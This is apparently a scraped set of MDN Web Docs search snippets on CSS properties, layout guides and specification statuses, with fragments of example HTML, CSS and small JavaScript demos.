supported */ ul > li, ol > li { … /* the above expanded for browsers which don't support :is(…) */ } } @supports selector(:nth-child(1n of a, b)) { /* this rule needs to be inside the @supports block, otherwise it will be partially applied in browsers which don't support the `of` argument of :nth-child(…) is supported */ :is(:nth-child(1n of ul, ol) a, details > summary) { … /* css applied when the :is(…) selector and the `of` argument of :nth-child(…) are both supported */ } } specifications specification status comment css conditional rules module level 4the definition of '@supports' in that specification.
... candidate recommendation initial definition.
viewport-fit - CSS: Cascading Style Sheets
it is highly recommended to make use of the safe area inset variables to ensure that important content doesn't end up outside the display.
... formal definition related at-rule@viewportinitial valueautocomputed valueas specified formal syntax auto | contain | cover examples scaling viewport to fit device display @viewport { viewport-fit: cover; } specifications specification status comment css round display level 1the definition of '"viewport-fit" descriptor' in that specification.
Mastering margin collapsing - CSS: Cascading Style Sheets
code>.4rem</code> margin between it and the text above.</p> <p>my bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>.</p> </div> <p>i am <code>2rem</code> below the element above.</p> css div { margin: 2rem 0; background: lavender; } p { margin: .4rem 0 1.2rem 0; background: yellow; } result specifications specification status comment css level 2 (revision 1)the definition of 'margin collapsing' in that specification.
... recommendation initial definition.
CSS Charsets - CSS: Cascading Style Sheets
reference at-rules @charset specifications specification status comment css level 2 (revision 1)the definition of '@charset' in that specification.
... recommendation initial definition ...
CSS Flexible Box Layout - CSS: Cascading Style Sheets
typical use cases of flexbox common design patterns that are typical flexbox use cases.
... backwards compatibility of flexbox browser status of flexbox, interoperability issues and supporting older browsers and versions of the spec specifications specification status comment css flexible box layout module candidate recommendation initial definition.
Block and inline layout in normal flow - CSS: Cascading Style Sheets
this means that if you have an element with a top margin immediately after an element with a bottom margin, rather than the total space being the sum of these two margins, the margin collapses, and so will essentially become as large as the larger of the two margins.
... summary in this guide, we have looked at how elements display in normal flow, as block and inline elements.
Flow Layout and Overflow - CSS: Cascading Style Sheets
this will act like overflow: hidden however it does not allow for programmatic scrolling, the box becomes non-scrollable.
... summary whether you are in continuous media on the web or in a paged media format such as print or epub, understanding how content overflows is useful when dealing with any layout method.
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
summary in most cases, flow layout works as you would expect it to when changing the writing mode of the document or parts of the document.
... see also writing modes external resources css writing modes, jen simmons on 24 ways ...
Introduction to formatting contexts - CSS: Cascading Style Sheets
if you do this, it would be a good idea to comment the code to explain.
... summary in this guide, we have looked in more detail at the block and inline formatting contexts and the important subject of creating a block formatting context (bfc).
CSS Fonts - CSS: Cascading Style Sheets
WebCSSCSS Fonts
specifications specification status comment css fonts module level 4 working draft adds font-variation-settings (and related higher-level properties) and font-optical-sizing.
... css fonts module level 3 candidate recommendation adds font-feature-settings (and related higher-level properties) css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
if you want to dig into writing modes further, however, then i would recommend that you read jen simmons excellent article on css writing modes.
...using an auto margin to push one item away from the others is a common flexbox trick too, however this also ties the layout to the physical space.
CSS Grid Layout - CSS: Cascading Style Sheets
row grid column guides basic concepts of grid layout relationship of grid layout to other layout methods layout using line-based placement grid template areas layout using named grid lines auto-placement in css grid layout box alignment in css grid layout css grid, logical values and writing modes css grid layout and accessibility css grid and progressive enhancement realising common layouts using css grid subgrid external resources css grid and ie11 (polyfill) examples from jen simmons grid by example - a collection of usage examples and video tutorials codrops grid reference firefox devtools css grid inspector css grid playground grid garden - a game for learning css grid specifications specification status comment css grid layo...
... css grid layout candidate recommendation initial definition.
Using CSS counters - CSS: Cascading Style Sheets
<li>item</li> <!-- 2.3.2 --> <li>item</li> <!-- 2.3.3 --> </ol> </li> <li>item</li> <!-- 2.4 --> </ol> </li> <li>item</li> <!-- 3 --> <li>item</li> <!-- 4 --> </ol> <ol> <li>item</li> <!-- 1 --> <li>item</li> <!-- 2 --> </ol> result specifications specification status comment css lists module level 3the definition of 'css counters' in that specification.
... recommendation initial definition ...
CSS Masking - CSS: Cascading Style Sheets
reference properties clip clip-path clip-rule mask mask-border mask-border-mode mask-border-outset mask-border-repeat mask-border-slice mask-border-source mask-border-width mask-clip mask-composite mask-image mask-mode mask-origin mask-position mask-repeat mask-size mask-type specifications specification status comment css masking module level 1 candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'mask' in that specification.
... recommendation initial definition ...
CSS Overflow - CSS: Cascading Style Sheets
reference css properties overflow overflow-block overflow-inline overflow-x overflow-y text-overflow block-overflow line-clamp max-lines continue non-standard properties -webkit-line-clamp specifications specification status comment css overflow module level 3the definition of 'overflow' in that specification.
... recommendation initial definition.
CSS Text - CSS: Cascading Style Sheets
WebCSSCSS Text
reference properties hanging-punctuation hyphens letter-spacing line-break overflow-wrap tab-size text-align text-align-last text-indent text-justify text-size-adjust text-transform white-space word-break word-spacing specifications specification status comment css logical properties and values level 1 editor's draft updates some properties to be independent of the directionality of the text.
... css text module level 3 working draft css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
Using CSS transforms - CSS: Cascading Style Sheets
div class="cube poml"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <caption><code>perspective-origin: 50% 50%;</code></caption> <div class="container"> <div class="cube pomm"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <caption><code>perspective-origin: right;</code></caption> <div class="container"> <div class="cube pomr"> <div class=...
...s="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> </section> css /* perspective-origin values (unique per example) */ .potl { perspective-origin: top left; } .potm { perspective-origin: top; } .potr { perspective-origin: top right; } .poml { perspective-origin: left; } .pomm { perspective-origin: 50% 50%; } .pomr { perspective-origin: right; } .pobl { perspective-origin: bottom left; } .pobm { perspective-origin: bottom; } .pobr { perspective-origin: bottom right; } .po200200neg { perspective-origin: -200% -200%; } .po200200pos { perspective-origin: 200% 200%; } .po200200 { perspective-origin: 200% -200%; } /* define the container div, the cube div, ...
Mozilla CSS extensions - CSS: Cascading Style Sheets
t button-arrow-previous button-arrow-up button-bevel checkbox checkbox-container checkbox-label checkmenuitem dialog groupbox listbox menuarrow menucheckbox menuimage menuitem menuitemtext menulist menulist-button menulist-text menulist-textfield menupopup menuradio menuseparator -moz-mac-unified-toolbar -moz-win-borderless-glass -moz-win-browsertabbar-toolbox -moz-win-communications-toolbox -moz-win-glass -moz-win-media-toolbox -moz-window-button-box -moz-window-button-box-maximized -moz-window-button-close -moz-window-button-maximize -moz-window-button-minimize -moz-window-button-restore -moz-window-titlebar -moz-window-titlebar-maximized progressbar progresschunk radio radio-container radio-label radiomenuitem resizer resizerpanel scale-horizon...
...gtargetzone -moz-mac-accentdarkestshadow -moz-mac-accentdarkshadow -moz-mac-accentface -moz-mac-accentlightesthighlight -moz-mac-accentlightshadow -moz-mac-accentregularhighlight -moz-mac-accentregularshadow -moz-mac-chrome-active -moz-mac-chrome-inactive -moz-mac-focusring -moz-mac-menuselect -moz-mac-menushadow -moz-mac-menutextselect -moz-menuhover -moz-menuhovertext -moz-win-communicationstext -moz-win-mediatext -moz-nativehyperlinktext display -moz-box -moz-inline-block -moz-inline-box -moz-inline-gridobsolete since gecko 62 -moz-inline-stackobsolete since gecko 62 -moz-inline-table -moz-gridobsolete since gecko 62 -moz-grid-groupobsolete since gecko 62 -moz-grid-lineobsolete since gecko 62 -moz-groupbox -moz-deckobsolete since gecko 62 -moz-...
Pseudo-elements - CSS: Cascading Style Sheets
index of standard pseudo-elements ::after (:after) ::backdrop ::before (:before) ::cue ::cue-region ::first-letter (:first-letter) ::first-line (:first-line) ::grammar-error ::marker ::part() ::placeholder ::selection ::slotted() ::spelling-error browser lowest version support of internet explorer 8.0 :pseudo-element 9.0 :pseudo-element ::pseudo-element firefox (gecko) 1.0 (1.0) :pseudo-element 1.0 (1.5) :pseudo-element ::pseudo-element opera 4.0 :pseudo-ele...
...ment 7.0 :pseudo-element ::pseudo-element safari (webkit) 1.0 (85) :pseudo-element ::pseudo-element specifications specification status comment css level 1 recommendation defined pseudo-classes and pseudo-elements.
Actual value - CSS: Cascading Style Sheets
specifications specification status comment css level 2 (revision 1)the definition of 'actual value' in that specification.
... recommendation initial definition.
align-content - CSS: Cascading Style Sheets
elementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.aligncontent = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'align-content' in that specification.
... candidate recommendation initial definition initial valuenormalapplies tomulti-line flex containersinheritednocomputed valueas specifiedanimation typediscrete ...
align-items - CSS: Cascading Style Sheets
etelementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.alignitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'align-items' in that specification.
... candidate recommendation initial definition ...
align-self - CSS: Cascading Style Sheets
| flex-end examples html <section> <div>item #1</div> <div>item #2</div> <div>item #3</div> </section> css section { display: flex; align-items: center; height: 120px; background: beige; } div { height: 60px; background: cyan; margin: 5px; } div:nth-child(3) { align-self: flex-end; background: pink; } result specifications specification status comment css box alignment module level 3the definition of 'align-self' in that specification.
... candidate recommendation initial definition.
<alpha-value> - CSS: Cascading Style Sheets
pha value is used to set partially transparent text: /* <rgba()> */ color: rgba(34, 12, 64, 0.6); color: rgba(34.0 12 64 / 60%); setting shape image threshold here an alpha value is used to determine which parts of an image are considered part of a shape: /* shape-image-threshold */ shape-image-threshold: 70%; shape-image-threshold: 0.7; specifications specification status comment css color module level 4the definition of '<alpha-value>' in that specification.
... recommendation introduces <alpha-value> along with rgba() and hsla() functional notations.
<angle-percentage> - CSS: Cascading Style Sheets
specifications specification status comment css values and units module level 4the definition of '<angle-percentage>' in that specification.
... candidate recommendation defines <angle-percentage>.
<angle> - CSS: Cascading Style Sheets
WebCSSangle
clockwise right angle 90deg = 100grad = 0.25turn ≈ 1.5708rad setting a flat angle 180deg = 200grad = 0.5turn ≈ 3.1416rad setting a counterclockwise right angle -90deg = -100grad = -0.25turn ≈ -1.5708rad setting a null angle 0 = 0deg = 0grad = 0turn = 0rad specifications specification status comment css values and units module level 4the definition of '<angle>' in that specification.
... candidate recommendation initial definition.
animation-direction - CSS: Cascading Style Sheets
note: when you specify multiple comma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are.
... specifications specification status comment css animationsthe definition of 'animation-direction' in that specification.
animation-duration - CSS: Cascading Style Sheets
note: when you specify multiple comma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are.
... specifications specification status comment css animationsthe definition of 'animation-duration' in that specification.
animation-fill-mode - CSS: Cascading Style Sheets
note: when you specify multiple comma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are.
... specifications specification status comment css animationsthe definition of 'animation-fill-mode' in that specification.
animation-iteration-count - CSS: Cascading Style Sheets
syntax /* keyword value */ animation-iteration-count: infinite; /* <number> values */ animation-iteration-count: 3; animation-iteration-count: 2.4; /* multiple values */ animation-iteration-count: 2, 0, infinite; the animation-iteration-count property is specified as one or more comma-separated values.
... specifications specification status comment css animationsthe definition of 'animation-iteration-count' in that specification.
animation-name - CSS: Cascading Style Sheets
note: when you specify multiple comma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are.
... specifications specification status comment css animationsthe definition of 'animation-name' in that specification.
animation-play-state - CSS: Cascading Style Sheets
note: when you specify multiple comma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are.
... specifications specification status comment css animationsthe definition of 'animation-play-state' in that specification.
animation-timing-function - CSS: Cascading Style Sheets
step-start equal to steps(1, jump-start) step-end equal to steps(1, jump-end) note: when you specify multiple comma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are.
... animation-timing-function: steps(5, jump-none); } .jump-both { animation-timing-function: steps(5, jump-both); } .start { animation-timing-function: steps(5, start); } .end { animation-timing-function: steps(5, end); } .step-start { animation-timing-function: step-start; } .step-end { animation-timing-function: step-end; } specifications specification status comment css animationsthe definition of 'animation-timing-function' in that specification.
animation - CSS: Cascading Style Sheets
WebCSSanimation
constituent properties this property is a shorthand for the following css properties: animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function syntax the animation property is specified as one or more single animations, separated by commas.
... specifications specification status comment css animationsthe definition of 'animation' in that specification.
backdrop-filter - CSS: Cascading Style Sheets
/* keyword value */ backdrop-filter: none; /* url to svg filter */ backdrop-filter: url(commonfilters.svg#filter); /* <filter-function> values */ backdrop-filter: blur(2px); backdrop-filter: brightness(60%); backdrop-filter: contrast(40%); backdrop-filter: drop-shadow(4px 4px 10px blue); backdrop-filter: grayscale(30%); backdrop-filter: hue-rotate(120deg); backdrop-filter: invert(70%); backdrop-filter: opacity(20%); backdrop-filter: sepia(90%); backdrop-filter: saturate(80%); /* multiple filters */ backdrop-filte...
...gb(0, 0, 172)); background-position: center center; background-repeat: no-repeat; background-size: cover; } .container { align-items: center; display: flex; justify-content: center; height: 100%; width: 100%; } html <div class="container"> <div class="box"> <p>backdrop-filter: blur(10px)</p> </div> </div> result specifications specification status comment filter effects module level 2the definition of 'backdrop-filter' in that specification.
background-origin - CSS: Cascading Style Sheets
border: 4px solid black; padding: 10px; background: url('image.gif'); background-repeat: no-repeat; background-origin: border-box; } div { background-image: url('logo.jpg'), url('mainback.png'); /* applies two images to the background */ background-position: top right, 0px 0px; background-origin: content-box, padding-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'background-origin' in that specification.
... candidate recommendation initial definition.
background-position-x - CSS: Cascading Style Sheets
sition-x: 1cm; background-position-x: 8em; /* side-relative values */ background-position-x: right 3px; background-position-x: left 25%; /* multiple values */ background-position-x: 0px, center; /* global values */ background-position-x: inherit; background-position-x: initial; background-position-x: unset; the background-position-x property is specified as one or more values, separated by commas.
... html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-x' in that specification.
background-position-y - CSS: Cascading Style Sheets
ion-y: 1cm; background-position-y: 8em; /* side-relative values */ background-position-y: bottom 3px; background-position-y: bottom 10%; /* multiple values */ background-position-y: 0px, center; /* global values */ background-position-y: inherit; background-position-y: initial; background-position-y: unset; the background-position-y property is specified as one or more values, separated by commas.
... html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-y' in that specification.
border-bottom-left-radius - CSS: Cascading Style Sheets
the background color is clipped at the border div { border-bottom-left-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip: content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-left-radius' in that specification.
... candidate recommendation initial definition ...
border-bottom-right-radius - CSS: Cascading Style Sheets
the background color is clipped at the border div { border-bottom-right-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip: content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-right-radius' in that specification.
... candidate recommendation initial definition ...
border-collapse - CSS: Cascading Style Sheets
border: solid 3px; } .fx { border-color: orange blue; } .gk { border-color: black red; } .ed { border-color: blue gold; } .tr { border-color: aqua; } .sa { border-color: silver blue; } .wk { border-color: gold blue; } .ch { border-color: red yellow green blue; } .bk { border-color: navy blue teal aqua; } .op { border-color: red; } result specifications specification status comment css level 2 (revision 1)the definition of 'border-collapse' in that specification.
... recommendation initial definition ...
border-image-outset - CSS: Cascading Style Sheets
ngth> | <number> ]{1,4} examples outsetting a border image html <div id="outset">this element has an outset border image!</div> css #outset { width: 10rem; background: #cef; border: 1.4rem solid; border-image: radial-gradient(#ff2, #55f) 40; border-image-outset: 1.5; /* 1.5 × 1.4rem = 2.1rem */ margin: 2.1rem; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-outset' in that specification.
... candidate recommendation initial definition ...
border-image-repeat - CSS: Cascading Style Sheets
n> <option value="stretch repeat">stretch repeat</option> <option value="space round">space round</option> </select> javascript var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("bordered").style.borderimagerepeat = evt.target.value; }); results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-repeat' in that specification.
... candidate recommendation initial definition ...
border-image-slice - CSS: Cascading Style Sheets
der.addeventlistener('input', () => { const newvalue = widthslider.value + 'px'; divelem.style.borderwidth = newvalue; widthoutput.textcontent = newvalue; }) sliceslider.addeventlistener('input', () => { const newvalue = sliceslider.value; divelem.style.borderimageslice = newvalue; sliceoutput.textcontent = newvalue; }) result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-slice' in that specification.
... candidate recommendation initial defintion ...
border-image-source - CSS: Cascading Style Sheets
specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-source' in that specification.
... candidate recommendation initial definition ...
border-image-width - CSS: Cascading Style Sheets
stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> css p { border: 20px solid; border-image: url("/static/external/21/214842819586a8dd293c17b38d0fd0e26430146a86dd04294a53ecaeeea7d0e2.png") 30 round; border-image-width: 16px; padding: 40px; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-width' in that specification.
... candidate recommendation initial definition ...
border-image - CSS: Cascading Style Sheets
4px /* outset */ round; /* repeat */ } result gradient html <div id="gradient">this element is surrounded by a gradient-based border image!</div> css #gradient { width: 200px; border: 30px solid; border-image: repeating-linear-gradient(45deg, #f33, #3bf, #f33 30px) 60; padding: 20px; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image' in that specification.
... candidate recommendation initial definition initial valueas each of the properties of the shorthand:border-image-source: noneborder-image-slice: 100%border-image-width: 1border-image-outset: 0border-image-repeat: stretchapplies toall elements, except internal table elements when border-collapse is collapse.
border-radius - CSS: Cascading Style Sheets
radius: 10px 40px; border: dashed; border-width: 2px 4px; border-radius: 40px; live samples sample 1 : http://jsfiddle.net/tripad/qngkj/2/ sample 2 : http://jsfiddle.net/tripad/qngkj/3/ sample 3 : http://jsfiddle.net/tripad/qngkj/4/ sample 4 : http://jsfiddle.net/tripad/qngkj/5/ sample 5 : http://jsfiddle.net/tripad/qngkj/6/ specifications specification status comment css backgrounds and borders module level 3the definition of 'border-radius' in that specification.
... candidate recommendation initial definition ...
border-spacing - CSS: Cascading Style Sheets
>3</td> </tr> <tr> <td>4</td><td>5</td><td>6</td> </tr> <tr> <td>7</td><td>8</td><td>9</td> </tr> </table> css table { border-spacing: 1em .5em; padding: 0 2em 1em 0; border: 1px solid orange; } td { width: 1.5em; height: 1.5em; background: #d2d2d2; text-align: center; vertical-align: middle; } result specifications specification status comment css level 2 (revision 1)the definition of 'border-spacing' in that specification.
... recommendation initial definition.
border-top-left-radius - CSS: Cascading Style Sheets
the box is not a square: an arc of ellipse is used as the border div { border-top-left-radius: 40%; } the background color is clipped at the border div { border-top-left-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip: content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-left-radius' in that specification.
... candidate recommendation initial definition ...
border-top-right-radius - CSS: Cascading Style Sheets
the box is not a square: an arc of ellipse is used as the border div { border-top-right-radius: 40%; } the background color is clipped at the border div { border-top-right-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip: content-box; } specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-right-radius' in that specification.
... candidate recommendation initial definition ...
bottom - CSS: Cascading Style Sheets
WebCSSbottom
<p>fixed</p></div> <div class="absolute"><p>absolute</p></div> css p { font-size: 30px; line-height: 2em; } div { width: 48%; text-align: center; background: rgba(55,55,55,.2); border: 1px solid blue; } .absolute { position: absolute; bottom: 0; left: 0; } .fixed { position: fixed; bottom: 0; right: 0; } result specifications specification status comment css positioned layout module level 3the definition of 'bottom' in that specification.
... recommendation initial definition.
box-decoration-break - CSS: Cascading Style Sheets
specifications specification status comment css fragmentation module level 3the definition of 'box-decoration-break' in that specification.
... candidate recommendation initial definition.
box-sizing - CSS: Cascading Style Sheets
tal height: 80px + (2 * 20px) + (2 * 8px) = 136px content box width: 160px content box height: 80px */ } .border-box { box-sizing: border-box; /* total width: 160px total height: 80px content box width: 160px - (2 * 20px) - (2 * 8px) = 104px content box height: 80px - (2 * 20px) - (2 * 8px) = 24px */ } result specifications specification status comment css basic user interface module level 3the definition of 'box-sizing' in that specification.
... recommendation initial definition.
caption-side - CSS: Cascading Style Sheets
a</td> </tr> </table> <br> <table class="bottom"> <caption>caption below the table</caption> <tr> <td>some data</td> <td>some more data</td> </tr> </table> css .top caption { caption-side: top; } .bottom caption { caption-side: bottom; } table { border: 1px solid red; } td { border: 1px solid blue; } result specifications specification status comment css logical properties and values level 1the definition of 'caption-side' in that specification.
... recommendation initial definition.
caret-color - CSS: Cascading Style Sheets
nput class="custom" value="i have a custom caret color!" size="64"/> <p contenteditable class="custom">this paragraph can be edited, and its caret has a custom color as well!</p> css input { caret-color: auto; display: block; margin-bottom: .5em; } input.custom { caret-color: red; } p.custom { caret-color: green; } result specifications specification status comment css basic user interface module level 3the definition of 'caret-color' in that specification.
... recommendation initial definition.
clamp() - CSS: Cascading Style Sheets
WebCSSclamp
syntax the clamp() function takes three comma separated expressions as its parameter, in the order of minimum value, preferred value, maximum value.
...</p> css html { font-family: sans-serif; } body { margin: 0 auto; width: min(1000px, calc(70% + 100px)); } h1 { letter-spacing: 2px; font-size: clamp(1.8rem, 2.5vw, 2.8rem); } p { line-height: 1.5; font-size: max(1.2rem, 1.2vw); } specifications specification status comment css values and units module level 4the definition of 'clamp()' in that specification.
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
</p> css .content-box { column-count: 3; column-gap: 40px; } result specifications specification status comment css box alignment module level 3the definition of 'column-gap' in that specification.
... candidate recommendation specifies how this property affects grid layouts css multi-column layout modulethe definition of 'column-gap' in that specification.
Computed value - CSS: Cascading Style Sheets
specifications specification status comment css level 2 (revision 2)the definition of 'computed-value' in that specification.
... recommendation initial definition.
contain - CSS: Cascading Style Sheets
WebCSScontain
rticle</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; contain: content; } this also means that the first image no longer floats down to the second article, and instead stays inside it's containing element's bounds: specifications specification status comment css containment module level 1the definition of 'contain' in that specification.
... recommendation initial definition ...
content - CSS: Cascading Style Sheets
WebCSScontent
html <div id="replaced">mozilla</div> css #replaced { content: url("https://mdn.mozillademos.org/files/12668/mdn.svg"); } #replaced::after { /* will not show if element replacement is supported */ content: " (" attr(id) ")"; } result specifications specification status comment css generated content module level 3the definition of 'content' in that specification.
... recommendation initial definition ...
counter-increment - CSS: Cascading Style Sheets
]+ | none examples incrementing named counters h1 { counter-increment: chapter section 2 page; /* increases the value of the chapter and page counters by 1, and the section counter by 2 */ } specifications specification status comment css lists module level 3the definition of 'counter-increment' in that specification.
... recommendation initial definition.
counter-reset - CSS: Cascading Style Sheets
]+ | none examples resetting named counters h1 { counter-reset: chapter section 1 page; /* sets the chapter and page counters to 0, and the section counter to 1 */ } specifications specification status comment css lists module level 3the definition of 'counter-reset' in that specification.
... recommendation initial definition.
counter-set - CSS: Cascading Style Sheets
if there isn't currently a counter of the given name on the element, the element will create a new counter of the given name with a starting value of 0 (though it may then immediately set or increment that value to something different).
...]+ | none examples setting named counters h1 { counter-set: chapter section 1 page; /* sets the chapter and page counters to 0, and the section counter to 1 */ } specifications specification status comment css lists module level 3the definition of 'counter-set' in that specification.
counter() - CSS: Cascading Style Sheets
WebCSScounter
tcounter, upper-roman) "]"; } result decimal-leading-zero compared to lower-alpha html <ol> <li></li> <li></li> <li></li> </ol> css ol { counter-reset: count; } li { counter-increment: count; } li::after { content: "[" counter(count, decimal-leading-zero) "] == [" counter(count, lower-alpha) "]"; } result specifications specification status comment css lists module level 3the definition of 'css counters' in that specification.
... recommendation initial definition ...
counters() - CSS: Cascading Style Sheets
WebCSScounters
li> <li></li> </ol> </li> </ol> </li> </ol> css ol { counter-reset: count; } li { counter-increment: count; } li::marker { content: counters(count, '.', upper-alpha) ') '; } li::before { content: counters(count, ".", decimal-leading-zero) " == " counters(count, ".", lower-alpha); } result specifications specification status comment css lists module level 3the definition of 'css counters' in that specification.
... recommendation initial definition ...
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
there are mappings for all of the existing values of display; the most common ones are listed in the table below.
...if you consider the outer and inner values when you change the value of display, you will understand immediately what impact the value will have on the box itself, and how it displays and behaves in the layout, and the direct children.
empty-cells - CSS: Cascading Style Sheets
</tr> <tr> <td>curly</td> <td></td> </tr> </table> <br> <table class="table_2"> <tr> <td>moe</td> <td>larry</td> </tr> <tr> <td>curly</td> <td></td> </tr> </table> css .table_1 { empty-cells: show; } .table_2 { empty-cells: hide; } td, th { border: 1px solid gray; padding: 0.5rem; } result specifications specification status comment css level 2 (revision 1)the definition of 'empty-cells' in that specification.
... recommendation initial definition.
filter - CSS: Cascading Style Sheets
WebCSSfilter
filters are commonly used to adjust the rendering of images, backgrounds, and borders.
... .mydiv { filter: grayscale(50%); } /* gray all images by 50% and blur by 10px */ img { filter: grayscale(0.5) blur(10px); } applying svg filters examples of using the url function with an svg resource are as follows: .target { filter: url(#c1); } .mydiv { filter: url(commonfilters.xml#large-blur); } specifications specification status comment filter effects module level 1the definition of 'filter' in that specification.
fit-content() - CSS: Cascading Style Sheets
/div> <div>flexible item</div> </div> css #container { display: grid; grid-template-columns: fit-content(300px) fit-content(300px) 1fr; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%; background-color: #8cffa0; padding: 10px; } #container > div { background-color: #8ca0ff; padding: 5px; } result specifications specification status comment css box sizing module level 3the definition of 'fit-content()' in that specification.
... candidate recommendation defines the function when used as a track size.
flex-basis - CSS: Cascading Style Sheets
ent: 'max-content'; } .flex3 { flex-basis: min-content; } .flex3:after { content: 'min-content'; } .flex4 { flex-basis: fit-content; } .flex4:after { content: 'fit-content'; } .flex5 { flex-basis: content; } .flex5:after { content: 'content'; } .flex6 { flex-basis: fill; } .flex6:after { content: 'fill'; } results specifications specification status comment css flexible box layout modulethe definition of 'flex-basis' in that specification.
... candidate recommendation initial definition ...
flex-direction - CSS: Cascading Style Sheets
#content { width: 200px; height: 200px; border: 1px solid #c3c3c3; display: flex; flex-direction: column-reverse; } .box { width: 50px; height: 50px; } #content1 { width: 200px; height: 200px; border: 1px solid #c3c3c3; display: flex; flex-direction: row-reverse; } .box1 { width: 50px; height: 50px; } result specifications specification status comment css flexible box layout modulethe definition of 'flex-direction' in that specification.
... candidate recommendation initial definition ...
flex-flow - CSS: Cascading Style Sheets
WebCSSflex-flow
flex items are laid out in multiple lines */ flex-flow: column-reverse wrap; } specifications specification status comment css flexible box layout modulethe definition of 'flex-flow' in that specification.
... candidate recommendation initial definition ...
flex-grow - CSS: Cascading Style Sheets
WebCSSflex-grow
or:lightgreen;">e</div> <div class="box" style="background-color:brown;">f</div> </div> css #content { display: flex; justify-content: space-around; flex-flow: row wrap; align-items: stretch; } .box { flex-grow: 1; border: 3px solid rgba(0,0,0,.2); } .box1 { flex-grow: 2; border: 3px solid rgba(0,0,0,.2); } result specifications specification status comment css flexible box layout modulethe definition of 'flex-grow' in that specification.
... candidate recommendation initial definition ...
flex-shrink - CSS: Cascading Style Sheets
ellow;">c</div> <div class="box1" style="background-color:brown;">d</div> <div class="box1" style="background-color:lightgreen;">e</div> </div> css #content { display: flex; width: 500px; } #content div { flex-basis: 120px; border: 3px solid rgba(0,0,0,.2); } .box { flex-shrink: 1; } .box1 { flex-shrink: 2; } result specifications specification status comment css flexible box layout modulethe definition of 'flex-shrink' in that specification.
... candidate recommendation initial definition ...
flex - CSS: Cascading Style Sheets
WebCSSflex
"block" : "none"; }); #flex-container { width: 100%; font-family: consolas, arial, sans-serif; } #flex-container > div { border: 1px solid #f00; padding: 1rem; } #flex-container > .raw-item { border: 1px solid #000; } result specifications specification status comment css flexible box layout modulethe definition of 'flex' in that specification.
... candidate recommendation initial definition ...
<flex> - CSS: Cascading Style Sheets
examples 1fr /* using an integer value */ 2.5fr /* using a float value */ specifications specification status comment css grid layoutthe definition of '<flex>' in that specification.
... candidate recommendation initial definition.
font-kerning - CSS: Cascading Style Sheets
byid('input'); let kern = document.getelementbyid('kern'); let nokern = document.getelementbyid('nokern'); input.addeventlistener('keyup', function() { kern.textcontent = input.value; /* update content */ nokern.textcontent = input.value; }); kern.textcontent = input.value; /* initialize content */ nokern.textcontent = input.value; specifications specification status comment css fonts module level 3the definition of 'font-kerning' in that specification.
... candidate recommendation initial definition.
font-size-adjust - CSS: Cascading Style Sheets
